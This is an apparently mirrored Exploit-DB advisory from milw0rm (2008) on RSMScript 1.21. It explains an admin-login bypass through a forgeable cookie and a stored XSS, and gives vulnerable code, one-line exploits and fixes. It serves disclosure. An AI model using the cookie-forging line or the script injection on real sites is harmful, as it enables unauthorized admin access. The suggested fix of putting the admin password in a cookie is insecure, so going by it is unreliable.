exploit-db-mirror/platforms/php/webapps/7497.txt
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

96 lines
2.7 KiB
Text
Executable file

[START]
#########################################################################################
[0x01] Informations:
Script : RSMScript 1.21
Download : http://www.hotscripts.com/jump.php?listing_id=78547&jump_type=1
Vulnerability : Insecure Cookie Handling / XXS
Author : Osirys
Contact : osirys[at]live[dot]it
Website : http://osirys.org
Notes : Proud to be Italian
Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX
#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######
Bugged file is: /[path]/verify.php
[CODE]
if($admin_pass == $code)
{
setcookie("verified", "null", time()+1800);
header( 'refresh: 0; url=update.php' );
}
[/CODE]
As we can see, if the password "$code" typed is the same of $admin_pass, so you log in,
cookie is set with the name "verified" and with content "null". So, a malicious user
can just set up a cookie with that name and value, and then he will be logged as the
admin.
[!] FIX: A fix could be to put as a content or cookie name the password. Example:
[CODE] setcookie("verified", "$admin_pass", time()+1800); [/CODE]
[!] EXPLOIT: javascript:document.cookie = "verified=null; path=/";
#########################################################################################
[0x03] Bug: [XSS]
######
To exploit this bug, we must be logged in. Just bypass the login with the Cookie ;)
There are two bugged file.
1) /[path/submit.php
In this file, we can put arbitrary data into a .txt file.
[CODE]
$quote = $_REQUEST['quote'];
$writePage = fopen('quotes.txt', 'a') or die("can't open file");
fwrite($writePage, "\t");
fwrite($writePage, stripslashes($quote));
fclose($writePage);
[/CODE]
[!] FIX: Just filter direct user input.
2) /path/update.php
This file gets quotes.txt content, and print it directly into html code.
In 1) we saw that we can put arbitrary data into this .txt file. Just
Put js code ;)
[CODE]
$quotes = file_get_contents("quotes.txt");
$quotes= preg_split("/[\t]+/", $quotes);
$i = 0;
$noQuotes = sizeOf($quotes);
while ($i < $noQuotes)
{
$quote = $quotes[$i];
echo '<option value='.$i.'>'.$quote.'</option>';
$i = $i + 1;
}
[/CODE]
[!] FIX: A fix could be just to filter input before being printed in html code.
## How to exploit this bugs?
[!] EXPLOIT: /[path]/submit.php?quote=<script>alert("XSS")</script>
#########################################################################################
[/END]
# milw0rm.com [2008-12-17]